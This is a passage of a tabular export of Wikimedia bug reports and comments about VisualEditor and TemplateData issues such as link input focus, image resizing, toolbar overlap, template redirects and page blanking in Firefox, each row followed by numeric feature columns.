+**Severity**: normal",High,80.0,1373408400,1373421287.0,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,False,PHID-TASK-sby6wjdxcouq3g5mq67p,task_description,resolved,True,c1,3,False,False,True,1,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+251893,"VisualEditor: Pressing return prior to the input being focused while creating a link, replaces text with new line",This code has been fixed and we'll get it deployed tomorrow.,,,1373421287,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-sby6wjdxcouq3g5mq67p,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+251889,"VisualEditor: Pressing return prior to the input being focused while creating a link, replaces text with new line","Change 72852 merged by jenkins-bot:
+Lock surface while inspectors are animating open
+
+https://gerrit.wikimedia.org/r/72852",,,1373421247,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sby6wjdxcouq3g5mq67p,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+251885,"VisualEditor: Pressing return prior to the input being focused while creating a link, replaces text with new line","Change 72849 merged by jenkins-bot:
+Be sure lookupMenu input is focused before showing
+
+https://gerrit.wikimedia.org/r/72849",,,1373412771,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sby6wjdxcouq3g5mq67p,task_subcomment,,True,c1,3,False,,,1,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+251881,"VisualEditor: Pressing return prior to the input being focused while creating a link, replaces text with new line","Change 72849 had a related patch set uploaded by Jforrester:
+Be sure lookupMenu input is focused before showing.
+
+https://gerrit.wikimedia.org/r/72849",,,1373410794,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sby6wjdxcouq3g5mq67p,task_subcomment,,True,c1,3,False,,,1,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+251877,"VisualEditor: Pressing return prior to the input being focused while creating a link, replaces text with new line","Change 72852 had a related patch set uploaded by Robmoen:
+Decrease the time it takes to focus the input element.
+
+https://gerrit.wikimedia.org/r/72852",,,1373409417,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sby6wjdxcouq3g5mq67p,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+53026,VisualEditor: Resizing an image without an explicit size doesn't work,"If an image is formatted as [[File:foo.jpg|thumb]] rather than |BARpx, image resizing does not work.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1373366640,1374106684.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-l2askobdymn34t55t5lm,task_description,resolved,True,c1,3,False,False,True,1,,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1
+249201,VisualEditor: Resizing an image without an explicit size doesn't work,"
+
+*** This bug has been marked as a duplicate of bug 50645 ***",,,1374106684,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-l2askobdymn34t55t5lm,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+53000,VisualEditor: Heading overlays toolbar in non-HD Vector integration,"Attaching screenshot...
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1373337720,1390878637.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-u4ds5rkvr4rcsxwqaoaz,task_description,resolved,True,c1,3,False,False,False,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0
+247515,VisualEditor: Heading overlays toolbar in non-HD Vector integration,"Change 109491 merged by jenkins-bot:
+Fix toolbar margins in vector
+
+https://gerrit.wikimedia.org/r/109491",,,1390877338,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-u4ds5rkvr4rcsxwqaoaz,task_subcomment,,True,c1,3,False,,,30,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+247510,VisualEditor: Heading overlays toolbar in non-HD Vector integration,"Change 109491 had a related patch set uploaded by Esanders:
+Fix toolbar margins in vector
+
+https://gerrit.wikimedia.org/r/109491",,,1390853505,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-u4ds5rkvr4rcsxwqaoaz,task_subcomment,,True,c1,3,False,,,30,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+247503,VisualEditor: Heading overlays toolbar in non-HD Vector integration,*** Bug 52205 has been marked as a duplicate of this bug. ***,,,1380221526,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-u4ds5rkvr4rcsxwqaoaz,task_subcomment,,True,c1,3,True,,,12,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+247498,VisualEditor: Heading overlays toolbar in non-HD Vector integration,Same as bug 52205?,,,1380219226,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-u4ds5rkvr4rcsxwqaoaz,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0
+247492,VisualEditor: Heading overlays toolbar in non-HD Vector integration,"Steps to reproduce:
+1. Reduce the screen width until the toolbar wraps. You should now see something like attachment 12793
+2. Reduce the screen width even more until the screen is too narrow for the HD stylesheet. The skin elements will animate and you'll end up with something that looks like attachment 12794.",,,1373337951,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-u4ds5rkvr4rcsxwqaoaz,task_subcomment,,True,c1,3,False,,,1,,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,1
+247485,VisualEditor: Heading overlays toolbar in non-HD Vector integration,"Created attachment 12794
+<h1> protrudes into wrapped toolbar in non-HD stylesheet
+
+**Attached**: {F11631}",,,1373337835,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-u4ds5rkvr4rcsxwqaoaz,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+247475,VisualEditor: Heading overlays toolbar in non-HD Vector integration,"Created attachment 12793
+Wrapping toolbar correctly pushes down <h1> in HD stylesheet
+
+**Attached**: {F11630}",,,1373337806,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-u4ds5rkvr4rcsxwqaoaz,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+52964,TemplateData: TemplateData is not available to VisualEditor if the template is a redirect,"Not sure if this is TemplateData or VisualEditor, please move it if I’m wrong.
+
+If I edit a page where a redirection to a template is used, I don’t see the available parameters and other data that TemplateData provides, but the redirection works like the real template, so it should use the same data.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1373307420,1400886921.0,PHID-USER-5pyvkdz65d5h5vxebodc,False,,False,PHID-TASK-it7sgrllp5k6su66uukw,task_description,resolved,True,c1,3,False,False,False,1,,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+245509,TemplateData: TemplateData is not available to VisualEditor if the template is a redirect,Per report. ;-),,,1402013615,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-it7sgrllp5k6su66uukw,task_subcomment,,True,c1,3,True,,,48,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+245502,TemplateData: TemplateData is not available to VisualEditor if the template is a redirect,"Confirmed fixed in 1.24wmf7, yay :-)",,,1402012066,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-it7sgrllp5k6su66uukw,task_subcomment,,True,c1,3,False,,,48,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+245495,TemplateData: TemplateData is not available to VisualEditor if the template is a redirect,"Change 135065 merged by jenkins-bot:
+Follow redirects when looking up template data
+
+https://gerrit.wikimedia.org/r/135065",,,1400886803,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-it7sgrllp5k6su66uukw,task_subcomment,,True,c1,3,False,,,46,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
+245487,TemplateData: TemplateData is not available to VisualEditor if the template is a redirect,"Change 135064 merged by jenkins-bot:
+Allow following of redirects via API
+
+https://gerrit.wikimedia.org/r/135064",,,1400866371,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-it7sgrllp5k6su66uukw,task_subcomment,,True,c1,3,False,,,46,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+245480,TemplateData: TemplateData is not available to VisualEditor if the template is a redirect,"Change 135065 had a related patch set uploaded by Alex Monk:
+Follow redirects when looking up template data
+
+https://gerrit.wikimedia.org/r/135065",,,1400865643,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-it7sgrllp5k6su66uukw,task_subcomment,,True,c1,3,False,,,46,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+245473,TemplateData: TemplateData is not available to VisualEditor if the template is a redirect,"Change 135064 had a related patch set uploaded by Alex Monk:
+Allow following of redirects via API
+
+https://gerrit.wikimedia.org/r/135064",,,1400865567,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-it7sgrllp5k6su66uukw,task_subcomment,,True,c1,3,False,,,46,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+245467,TemplateData: TemplateData is not available to VisualEditor if the template is a redirect,"(In reply to Krinkle from comment #3)
+> Both VE and TemplateData should address this in their own way. Both parties
+> need to do something.
+> 
+> 1) Resolve redirects in API interaction:
+>   - TemplateData should have an option to resolve redirects in the given
+> titles (like action=query). the mapping will be added similarly to how we
+> normalise titles.
+
+This is a built-in feature in ApiPageSet, which is used by ApiQuery modules, as well as by ApiTemplateData. When enabled, passing &redirects to the request resolves redirects.",,,1400864330,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-it7sgrllp5k6su66uukw,task_subcomment,,True,c1,3,True,,,46,,0,1,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,0,0,1,0,0,1,0,1,0,1,0,1,1,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+245461,TemplateData: TemplateData is not available to VisualEditor if the template is a redirect,This is still a major usability issue with templatedata as template redirects are quite common. Any update?,,,1399842534,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-it7sgrllp5k6su66uukw,task_subcomment,,True,c1,3,False,,,44,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0
+245455,TemplateData: TemplateData is not available to VisualEditor if the template is a redirect,"We have been talking about returning more metadata like the list of used templates from the PHP preprocessor, and use that for dependency tracking. Even with that info I'm not convinced that we should attempt to directly skip redirects in Parsoid, as that would add a lot of complexity and unexpected behavior.
+
+It should not be that hard to handle this in TemplateData itself, and to me it looks like the best place to do it.",,,1395417398,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-it7sgrllp5k6su66uukw,task_subcomment,,True,c1,3,True,,,37,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,1,1,1,0,1,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,1,1,0
+245448,TemplateData: TemplateData is not available to VisualEditor if the template is a redirect,"This is a little tricky on the Parsoid end since Parsoid gets the PHP preprocessor to expand template source for us (which we then parse and process). So, Parsoid never sees the redirect that are embedded in templates (like {{cn}}). So, this will require us to instrument the PHP preprocessor to provide Parsoid with this information. Offhand, I cannot think of any efficient trick that will solve this.
+
+So, I think approach (1) above where TemplateData adds redirection info and VE uses that might work for the common case where the redirect target is not a function of template args.",,,1380898648,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-it7sgrllp5k6su66uukw,task_subcomment,,True,c1,3,True,,,13,,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,1,1,1,0,1,1,0,1,0,0,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0
+245442,TemplateData: TemplateData is not available to VisualEditor if the template is a redirect,"Should a new bug for the Parsoid part be filed, so that the Parsoid team to do their part of this? This is a very big issues as some of the most common templates like the iconic {{cn}} are redirect and was asked about again at 
+http://en.wikipedia.org/w/index.php?title=Wikipedia%3AVisualEditor%2FFeedback&diff=575686867&oldid=575662727",,,1380867107,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-it7sgrllp5k6su66uukw,task_subcomment,,True,c1,3,False,,,13,,1,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,1,0,0,0,1,1
+245435,TemplateData: TemplateData is not available to VisualEditor if the template is a redirect,"Both VE and TemplateData should address this in their own way. Both parties need to do something.
+
+1) Resolve redirects in API interaction:
+  - TemplateData should have an option to resolve redirects in the given titles (like action=query). the mapping will be added similarly to how we normalise titles.
+  - Then the VisualEditor needs to use this map as the API response will put the templatedata for the target title, not the title queried. We do this already with normalised titles, so we can extend that to include redirects in that ""aliasing"" logic for normalised titles.
+
+2) Parsoid giving TemplateData the transcluded page name instead of the wikitext invocation.
+  - Right now we sometimes get wikitext instead of a page name, or (in case of redirects) the sourced page name, not the one actually transcluded.
+  - If/when Parsoid is able to know what the wikitext expands too etc. (not a blind call to the PHP parser as it is essentially now) this will make that a lot easier and also solve generated transclusion target page names (e.g. {{ {{foo}} }} ).",,,1374776002,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-it7sgrllp5k6su66uukw,task_subcomment,,True,c1,3,True,,,3,,0,1,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,1,0,0,1,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+245428,TemplateData: TemplateData is not available to VisualEditor if the template is a redirect,"Note from bug 51791 fwiw: this issue is being discussed at
+http://en.wikipedia.org/wiki/Wikipedia_talk:VisualEditor/TemplateData#What_about_redirected_templates",,,1374641826,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-it7sgrllp5k6su66uukw,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+245420,TemplateData: TemplateData is not available to VisualEditor if the template is a redirect,*** Bug 51791 has been marked as a duplicate of this bug. ***,,,1374641783,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-it7sgrllp5k6su66uukw,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+52947,VisualEditor: Blanking the page using Ctrl-A and Delete keys prevents further editing in Firefox,"To reproduce:
+
+* Edit a page with some existing content in VisualEditor.
+* Press Ctrl-A to select the whole text.
+* Press the Delete key.
+
+Observed: The page cannot be edited any more.
+
+Expected: The page doesn't have any text, but text can be added.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1373297880,1380309457.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-mip6kupgxcxydyy26dwa,task_description,resolved,True,c1,3,False,False,True,1,,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0
+244477,VisualEditor: Blanking the page using Ctrl-A and Delete keys prevents further editing in Firefox,"Change 86299 merged by jenkins-bot:
+ce.BranchNode: Insert slugs based on CE children length, not DM
+
+https://gerrit.wikimedia.org/r/86299",,,1380474885,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mip6kupgxcxydyy26dwa,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+244471,VisualEditor: Blanking the page using Ctrl-A and Delete keys prevents further editing in Firefox,"This bug has been fixed somewhere in the past week. The range is no longer (0,0) but (0,[document length]). The document no longer crashes and properly deletes all content.
+
+However this uncovered another bug, namely that in Firefox deleting the selection now leaves the document completely empty (not even a placeholder <p> to start typing again). That is what change 86299 (https://gerrit.wikimedia.org/r/86299) addresses.
+
+However this bug is fixed, though I don't know which commit fixed it.",,,1380309457,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-mip6kupgxcxydyy26dwa,task_subcomment,,True,c1,3,True,,,12,,1,0,1,1,1,1,0,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+244466,VisualEditor: Blanking the page using Ctrl-A and Delete keys prevents further editing in Firefox,"Change 86299 had a related patch set uploaded by Krinkle:
+ce.BranchNode: Insert slugs based on CE children length, not DM
+
+https://gerrit.wikimedia.org/r/86299",,,1380309327,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mip6kupgxcxydyy26dwa,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+244461,VisualEditor: Blanking the page using Ctrl-A and Delete keys prevents further editing in Firefox,"When the document loads in Firefox (Firefox 24, Mac) ve.ce.Document#getNodeAndOffset gets called with offset=1 to show initial selection (range: 1,1).
+
+When selecting all and pressing backspace, ve.ce.Document#getNodeAndOffset gets called with offset = -1.
+
+It gets there from ve.ce.Surface#handleDelete, which has a rangeToRemove (from this.model.getSelection) of 0,0.
+
+The #handleDelete method then sees the range is collapsed, and since backspace=true, it will get a relative range on the document from the (collapsed) 0,0 rangeToRemove to -1.",,,1380214427,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-mip6kupgxcxydyy26dwa,task_subcomment,,True,c1,3,True,,,12,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+244456,VisualEditor: Blanking the page using Ctrl-A and Delete keys prevents further editing in Firefox,This is still happening with Firefox 24 on Linux using the monobook skin (other combinations not tested),,,1379886743,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-mip6kupgxcxydyy26dwa,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+244451,VisualEditor: Blanking the page using Ctrl-A and Delete keys prevents further editing in Firefox,"**JohnCD67** wrote:
+
+Occurs with Vector/Win7/FF23.0. It doesn't matter whether Ctr-A or Right-click/Select all is used, or whether ""Delete"" or ""Backspace"" is used to delete.",,,1376330120,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mip6kupgxcxydyy26dwa,task_subcomment,,True,c1,3,False,,,6,,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0
